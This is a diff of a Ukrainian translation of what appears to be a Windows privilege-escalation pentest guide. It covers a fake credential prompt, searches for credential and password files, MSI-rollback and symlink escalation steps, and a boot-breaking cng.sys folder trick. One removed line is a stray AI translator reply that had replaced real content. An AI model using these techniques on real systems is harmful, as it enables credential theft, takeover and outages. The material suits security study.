+1118,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Логи +### Журнали ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1094,9 +1126,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Запитати credentials +### Ask for credentials -Ви завжди можете **попросити користувача ввести його credentials або навіть credentials іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **прохання** клієнта безпосередньо про **credentials** справді **ризиковане**): +Ви завжди можете **запросити користувача ввести його credentials або навіть credentials іншого користувача**, якщо вважаєте, що він може їх знати (зауважте, що **безпосереднє запитування** клієнта щодо **credentials** є справді **ризикованим**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1104,9 +1136,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Можливі імена файлів, що містять облікові дані** +### **Можливі імена файлів, що містять credentials** -Відомі файли, які деякий час тому містили **паролі** у **відкритому тексті** або **Base64** +Відомі файли, які раніше містили **passwords** у **clear-text** або **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1170,7 +1202,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Я не маю доступу до вашої файлової системи. Будь ласка, вставте вміст файлу src/windows-hardening/windows-local-privilege-escalation/README.md (або надайте список файлів/фрагментів, які треба перекласти). Після отримання вмісту я перекладу релевантний англійський текст українською, зберігаючи точно ту саму розмітку Markdown/HTML та не перекладаючи код, шляхи, теги, посилання і терміни, які ви вказали. +Пошук усіх запропонованих файлів: ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1181,11 +1213,11 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### Облікові дані в Кошику -Також слід перевірити Кошик на наявність облікових даних. +Вам також слід перевірити Кошик на наявність облікових даних -Щоб **відновити паролі**, збережені різними програмами, можна скористатися: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Щоб **відновити паролі**, збережені кількома програмами, ви можете скористатися: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Усередині реєстру +### Всередині реєстру **Інші можливі ключі реєстру з обліковими даними** ```bash @@ -1198,10 +1230,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Історія браузерів -Варто перевірити бази даних, де зберігаються паролі для **Chrome або Firefox**.\ -Також перевірте історію, закладки та улюблені браузерів — можливо, деякі **паролі** зберігаються там. +Варто перевірити бази даних (dbs), де зберігаються паролі від **Chrome or Firefox**.\ +Також перевірте історію, закладки та favourites браузерів — можливо там збережено якісь **паролі**. -Інструменти для витягнення паролів з браузерів: +Інструменти для витягання паролів з браузерів: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1210,32 +1242,32 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL Overwriting** -**Component Object Model (COM)** — це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами, написаними різними мовами. Кожний COM-компонент **ідентифікується через class ID (CLSID)**, а кожний компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих за interface IDs (IIDs). +**Component Object Model (COM)** — технологія, вбудована в операційну систему Windows, яка дозволяє **intercommunication** між компонентами програмного забезпечення, написаними різними мовами. Кожен COM компонент **identified via a class ID (CLSID)**, і кожен компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих через interface IDs (IIDs). -COM-класи та інтерфейси визначаються в реєстрі під **HKEY\CLASSES\ROOT\CLSID** та **HKEY\CLASSES\ROOT\Interface** відповідно. Цей розділ реєстру створюється шляхом злиття **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM класи та інтерфейси визначені в реєстрі під ключами **HKEY\CLASSES\ROOT\CLSID** та **HKEY\CLASSES\ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Всередині CLSID цього розділу можна знайти дочірній розділ реєстру **InProcServer32**, який містить **default value**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). +Всередині CLSID-ів цього розділу реєстру можна знайти дочірній ключ **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -По суті, якщо ви зможете **перезаписати будь-яку з DLL**, яка буде виконана, ви могли б escalate privileges, якщо ця DLL буде виконана іншим користувачем. +Загалом, якщо ви зможете **overwrite any of the DLLs**, які будуть виконані, ви можете **escalate privileges**, якщо цей DLL буде виконуватися іншим користувачем. -To learn how attackers use COM Hijacking as a persistence mechanism check: +Щоб дізнатися, як зловмисники використовують COM Hijacking як механізм persistence, перевірте: {{#ref}} com-hijacking.md {{#endref}} -### **Generic Password search in files and registry** +### **Загальний пошук паролів у файлах та реєстрі** -**Search for file contents** +**Пошук по вмісту файлів** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Пошук файлу за певним іменем** +**Пошук файлу з певним іменем** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1250,11 +1282,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Інструменти для пошуку passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін. Я створив цей плагін для автоматичного виконання всіх metasploit POST module, які шукають credentials всередині victim.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять passwords, згадані на цій сторінці.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягнення passwords із системи. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін. Я створив цей плагін для **automatically execute every metasploit POST module that searches for credentials** всередині жертви.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять passwords, згадані на цій сторінці.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягування password із системи. -Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** та **passwords** кількох програм, які зберігають ці дані у відкритому вигляді (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** та **passwords** у кількох програмах, які зберігають ці дані в clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1263,20 +1295,20 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Уявіть, що **процес, який виконується як SYSTEM відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той самий процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковуючи всі відкриті handle-и головного процесу**.\ -Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете отримати **відкритий handle до привілейованого процесу, створеного** за допомогою `OpenProcess()`, і **інжектувати shellcode**.\ -[Прочитайте цей приклад для отримання додаткової інформації про **те, як виявити та експлуатувати цю вразливість**.](leaked-handle-exploitation.md)\ -[Прочитайте цей **інший запис для більш повного пояснення щодо тестування та використання відкритих handle-ів процесів і потоків, успадкованих з різними рівнями дозволів (не тільки повним доступом)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Уявіть собі, що **процес, який працює під SYSTEM, відкриває новий процес** (`OpenProcess()`) з **full access**. Той самий процес **також створює новий процес** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Тоді, якщо у вас є **full access to the low privileged process**, ви можете отримати **open handle to the privileged process created** з `OpenProcess()` і **inject a shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Сегменти спільної пам'яті, відомі як **pipes**, дозволяють процесам обмінюватися даними та передавати інформацію. +Сегменти спільної пам'яті, які називають **pipes**, дозволяють процесам обмінюватися даними та передавати інформацію. -Windows надає можливість під назвою **Named Pipes**, яка дозволяє незалежним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями **named pipe server** та **named pipe client**. +Windows надає можливість, відому як **Named Pipes**, що дозволяє непов'язаним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначені як **named pipe server** та **named pipe client**. -Коли дані надсилаються через pipe від **client**, **server**, який налаштував pipe, має змогу **перейняти ідентичність** **client**, якщо має необхідні права **SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через pipe і якого ви можете імітувати, дає можливість **отримати вищі привілеї**, перейнявши ідентичність цього процесу, коли він взаємодіятиме з pipe, створеним вами. Інструкції щодо виконання такої атаки можна знайти [**тут**](named-pipe-client-impersonation.md) та [**тут**](#from-high-integrity-to-system). +Коли дані надсилає **client** через pipe, **server**, який створив pipe, має можливість **take on the identity** клієнта, за умови наявності необхідних прав **SeImpersonate**. Виявлення **privileged process**, який спілкується через pipe, який ви можете імітувати, дає можливість **gain higher privileges** шляхом прийняття ідентичності цього процесу, коли він взаємодіє з pipe, який ви встановили. Для інструкцій із виконання такої атаки корисні керівництва можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system). -Також цей інструмент дозволяє **перехоплювати комунікацію через named pipe за допомогою інструментів на кшталт burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **а цей інструмент дозволяє перелічувати й переглядати всі pipes, щоб знаходити privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Також наступний інструмент дозволяє **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Різне @@ -1284,9 +1316,9 @@ Windows надає можливість під назвою **Named Pipes**, я Перегляньте сторінку **[https://filesec.io/](https://filesec.io/)** -### **Моніторинг командних рядків на наявність паролів** +### **Monitoring Command Lines for passwords** -Отримавши shell від імені користувача, можуть виконуватися заплановані завдання або інші процеси, які **передають облікові дані в командному рядку**. Скрипт нижче захоплює командні рядки процесів кожні дві секунди та порівнює поточний стан із попереднім, виводячи будь-які відмінності. +Коли ви отримуєте shell від імені користувача, можуть виконуватися scheduled tasks або інші процеси, які **pass credentials on the command line**. Скрипт нижче перехоплює process command lines кожні дві секунди і порівнює поточний стан з попереднім, виводячи будь-які відмінності. ```bash while($true) { @@ -1296,15 +1328,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Крадіжка паролів з процесів +## Крадіжка паролів із процесів ## Від Low Priv User до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Якщо у вас є доступ до графічного інтерфейсу (через консоль або RDP) і UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", від імені неповноваженого користувача. +Якщо ви маєте доступ до графічного інтерфейсу (через console або RDP) та UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", від імені непривілейованого користувача. -Це дозволяє підвищити привілеї та обійти UAC одночасно, використовуючи ту саму уразливість. Крім того, немає необхідності нічого встановлювати — бінарний файл, який використовується в процесі, підписаний і виданий Microsoft. +Це дозволяє ескалацію привілеїв та одночасно обійти UAC за тією ж вразливістю. Крім того, немає потреби встановлювати нічого, і бінарний файл, що використовується в процесі, підписаний і випущений Microsoft. -Деякі з уражених систем наведені нижче: +Деякі з уражених систем: ``` SERVER ====== @@ -1326,7 +1358,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Щоб експлуатувати цю вразливість, необхідно виконати наступні кроки: +Щоб експлуатувати цю вразливість, необхідно виконати такі кроки: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1348,9 +1380,9 @@ Windows 10 1709 16299 link NOT opened https://github.com/jas502n/CVE-2019-1388 -## Від Administrator Medium до High Integrity Level / UAC Bypass +## Від Administrator (Medium) до High Integrity Level / UAC Bypass -Прочитайте це, щоб **дізнатися про рівні цілісності**: +Прочитайте це, щоб **дізнатися про Integrity Levels**: {{#ref}} @@ -1364,96 +1396,96 @@ integrity-levels.md ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## Від довільного видалення/переміщення/перейменування папки до SYSTEM EoP +## Від Arbitrary Folder Delete/Move/Rename до SYSTEM EoP -Техніка, описана [**в цьому дописі в блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з кодом експлойту [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Техніка, описана [**в цьому блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з кодом експлоїта [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Атака фактично полягає в зловживанні функцією rollback Windows Installer, щоб замінити легітимні файли шкідливими під час процесу деінсталяції. Для цього атакуючому потрібно створити **malicious MSI installer**, який буде використано для захоплення папки `C:\Config.Msi`, яка пізніше буде використана Windows Installer для збереження rollback-файлів під час деінсталяції інших MSI-пакетів, де файли rollback були змінені, щоб містити шкідливе навантаження. +Атака по суті полягає в зловживанні можливістю rollback Windows Installer для заміни легітимних файлів на шкідливі під час процесу деінсталяції. Для цього атакуючому потрібно створити **malicious MSI installer**, який буде використано для перехоплення папки `C:\Config.Msi`, яка пізніше буде використана Windows Installer для збереження rollback файлів під час деінсталяції інших MSI пакетів, де rollback файли були б змінені для містити шкідливий payload. -Стислий опис техніки: +Стислий опис техніки такий: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Крок 1: Install the MSI -- Створіть `.msi`, який встановлює нешкідливий файл (наприклад, `dummy.txt`) у записувану папку (`TARGETDIR`). -- Позначте інсталятор як **"UAC Compliant"**, щоб **користувач без прав адміністратора** міг його запускати. -- Після встановлення тримайте **handle** файлу відкритим. +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- Крок 2: Begin Uninstall -- Видаліть той самий `.msi`. -- Процес деінсталяції починає переміщувати файли в `C:\Config.Msi` та перейменовувати їх на `.rbf` (резервні rollback-файли). -- **Опитуйте відкритий handle файлу** за допомогою `GetFinalPathNameByHandle`, щоб визначити, коли файл стане `C:\Config.Msi\.rbf`. +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- Крок 3: Custom Syncing -- `.msi` включає **кастомну дію при деінсталяції (`SyncOnRbfWritten`)**, яка: -- Сигналізує, коли `.rbf` записано. -- Потім **чекає** на іншу подію перед продовженням деінсталяції. +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- Крок 4: Block Deletion of `.rbf` -- Після сигналу **відкрийте файл `.rbf`** без `FILE_SHARE_DELETE` — це **перешкоджає його видаленню**. -- Потім **відправте сигнал назад**, щоб деінсталяція могла завершитись. -- Windows Installer не може видалити `.rbf`, і оскільки він не може видалити весь вміст, **`C:\Config.Msi` не видаляється**. +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- Крок 5: Manually Delete `.rbf` -- Ви (атакувальник) вручну видаляєте файл `.rbf`. -- Тепер **`C:\Config.Msi` порожня**, готова до захоплення. +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> На цьому етапі, **спровокуйте уразливість довільного видалення папки рівня SYSTEM**, щоб видалити `C:\Config.Msi`. +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Крок 6: Recreate `C:\Config.Msi` with Weak ACLs -- Відтворіть папку `C:\Config.Msi` самостійно. -- Встановіть **ослаблені DACLs** (наприклад, Everyone:F), і **тримайте handle відкритим** з `WRITE_DAC`. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- Крок 7: Run Another Install -- Знову встановіть `.msi`, з: -- `TARGETDIR`: місце з правами запису. -- `ERROROUT`: змінна, яка примусово викликає збій. -- Ця інсталяція буде використана, щоб знову викликати **rollback**, який читає `.rbs` та `.rbf`. +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- Крок 8: Monitor for `.rbs` -- Використовуйте `ReadDirectoryChangesW`, щоб моніторити `C:\Config.Msi` до появи нового `.rbs`. -- Зафіксуйте його ім'я файлу. +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- Крок 9: Sync Before Rollback -- `.msi` містить **кастомну дію інсталяції (`SyncBeforeRollback`)**, яка: -- Сигналізує подією, коли `.rbs` створено. -- Потім **чекає**, перш ніж продовжити. +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- Крок 10: Reapply Weak ACL -- Після отримання події `.rbs created`: -- Windows Installer **заново застосовує сильні ACL** до `C:\Config.Msi`. -- Але оскільки ви все ще маєте handle з `WRITE_DAC`, ви можете **знову застосувати слабкі ACL**. +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> ACLs **перевіряються лише при відкритті handle**, тому ви все ще можете записувати в папку. +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- Крок 11: Drop Fake `.rbs` and `.rbf` -- Перезапишіть файл `.rbs` **підробленим rollback-скриптом**, який наказує Windows: -- Відновити ваш файл `.rbf` (шкідливий DLL) у **привілейоване місце** (наприклад, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Розмістити вашу підроблену `.rbf`, що містить **шкідливий SYSTEM-level payload DLL**. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- Крок 12: Trigger the Rollback -- Сигналізуйте про подію синхронізації, щоб інсталятор продовжив роботу. -- **Тип 19 кастомної дії (`ErrorOut`)** налаштований так, щоб **умисно викликати збій інсталяції** у відомій точці. -- Це спричиняє початок **rollback**. +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- Крок 13: SYSTEM Installs Your DLL +- Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Читає ваш шкідливий `.rbs`. -- Копіює ваш `.rbf` DLL у цільове місце. -- Тепер у вас є ваш **шкідливий DLL у шляху, що завантажується SYSTEM**. +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. -- Остаточний крок: Execute SYSTEM Code -- Запустіть довірений **auto-elevated binary** (наприклад, `osk.exe`), який завантажує DLL, яку ви підхопили. -- **Бум**: ваш код виконується **як SYSTEM**. +- Final Step: Execute SYSTEM Code +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. -### Від довільного видалення/переміщення/перейменування файлу до SYSTEM EoP +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -Головна техніка MSI rollback (попередня) припускає, що ви можете видалити **цілу папку** (наприклад, `C:\Config.Msi`). Але що, якщо ваша уразливість дозволяє лише **довільне видалення файлу** ? +The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? -Ви можете експлуатувати **внутрішні механізми NTFS**: кожна папка має прихований alternate data stream, який називається: +You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` @@ -1461,18 +1493,18 @@ C:\SomeFolder::$INDEX_ALLOCATION Отже, якщо ви **видалите потік `::$INDEX_ALLOCATION`** папки, NTFS **видалить всю папку** з файлової системи. -Цього можна досягти за допомогою стандартних API для видалення файлів, наприклад: +Ви можете зробити це за допомогою стандартних API видалення файлів, наприклад: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Навіть якщо ви викликаєте *file* delete API, воно **видаляє саму папку**. ### Від Folder Contents Delete до SYSTEM EoP -Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видалення вмісту папки, контрольованої атакуючим**? +Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видаляти *вміст* папки, контрольованої атакуючим**? -1. Крок 1: Підготуйте підставну папку та файл +1. Крок 1: Налаштуйте папку-приманку та файл - Створіть: `C:\temp\folder1` -- Усередині: `C:\temp\folder1\file1.txt` +- Всередині неї: `C:\temp\folder1\file1.txt` 2. Крок 2: Розмістіть **oplock** на `file1.txt` - **oplock** **призупиняє виконання**, коли привілейований процес намагається видалити `file1.txt`. @@ -1481,88 +1513,88 @@ DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Крок 3: Trigger SYSTEM process (e.g., `SilentCleanup`) -- Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їх вміст. -- Коли він доходить до `file1.txt`, **oplock triggers** і передає контроль вашому callback. +3. Крок 3: Запустити SYSTEM-процес (наприклад, `SilentCleanup`) +- Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їхній вміст. +- Коли він досягає `file1.txt`, **oplock спрацьовує** і передає контроль вашому callback. -4. Крок 4: Усередині the oplock callback – перенаправте видалення +4. Крок 4: Усередині oplock callback – перенаправити видалення -- Варіант A: Move `file1.txt` elsewhere -- Це звільняє `folder1` без порушення oplock. -- Не видаляйте `file1.txt` безпосередньо — це передчасно звільнить oplock. +- Варіант A: Перемістити `file1.txt` в інше місце +- Це звільняє `folder1`, не порушуючи oplock. +- Не видаляйте `file1.txt` безпосередньо — це б передчасно звільнило oplock. -- Варіант B: Convert `folder1` into a **junction**: +- Варіант B: Перетворити `folder1` на **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- Варіант C: Створити **symlink** в `\RPC Control`: +- Варіант C: Створити **symlink** у `\RPC Control`: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` > Це націлене на внутрішній потік NTFS, який зберігає метадані папки — його видалення видаляє папку. -5. Крок 5: Release the oplock -- Процес SYSTEM продовжує та намагається видалити `file1.txt`. -- Але тепер, через junction + symlink, фактично видаляється: +5. Крок 5: Звільнення oplock +- Процес SYSTEM продовжує і намагається видалити `file1.txt`. +- Але тепер, через junction + symlink, насправді видаляється: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Результат**: `C:\Config.Msi` видаляється користувачем SYSTEM. +**Результат**: `C:\Config.Msi` видаляється SYSTEM. -### Від створення довільної теки до постійного DoS +### Від Arbitrary Folder Create до постійного DoS -Скористайтеся примітивом, який дозволяє вам **створити довільну теку від імені SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі дозволи**. +Використайте примітив, який дозволяє вам **create an arbitrary folder as SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі дозволи**. -Створіть **теку** (не файл) з ім'ям **критичного Windows driver**, наприклад: +Створіть **folder** (не **file**) з іменем **critical Windows driver**, наприклад: ``` C:\Windows\System32\cng.sys ``` -- Цей шлях зазвичай відповідає драйверу режиму ядра `cng.sys`. +- Цей шлях зазвичай відповідає драйверу в режимі ядра `cng.sys`. - Якщо ви **попередньо створите його як папку**, Windows не зможе завантажити фактичний драйвер під час завантаження. -- Потім Windows намагається завантажити `cng.sys` під час завантаження. -- Windows бачить папку, **не може знайти фактичний драйвер**, і **виникає збій або зупинка завантаження**. -- Немає **альтернативного механізму**, і **немає відновлення** без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска). +- Тоді Windows намагається завантажити `cng.sys` під час завантаження. +- Windows бачить папку, **не може знайти фактичний драйвер**, і **викликає збій або припиняє завантаження**. +- Немає **резервного варіанту**, і **відновлення неможливе** без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска). -## **Від High Integrity до System** +## **З High Integrity до SYSTEM** -### **Новий service** +### **Нова служба** -Якщо ви вже працюєте в процесі High Integrity, **шлях до SYSTEM** може бути простим — достатньо **створити та запустити новий service**: +Якщо ви вже працюєте в процесі High Integrity, **шлях до SYSTEM** може бути простим — просто **створенням і запуском нової служби**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Коли створюєте service binary переконайтеся, що це дійсний сервіс або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде завершено через 20s, якщо це не дійсний сервіс. +> При створенні бінарного файлу для служби переконайтеся, що це дійсна служба або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде завершено через 20 с, якщо це не дійсна служба. ### AlwaysInstallElevated -З процесу High Integrity ви можете спробувати **увімкнути AlwaysInstallElevated registry entries** та **встановити** reverse shell, використовуючи _**.msi**_ wrapper.\ -[Більше інформації про ключі реєстру та як встановити пакет _.msi_ тут.](#alwaysinstallelevated) +З процесу High Integrity ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шел за допомогою обгортки _**.msi**_.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Ви можете** [**знайти код тут**](seimpersonate-from-high-to-system.md)**.** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** 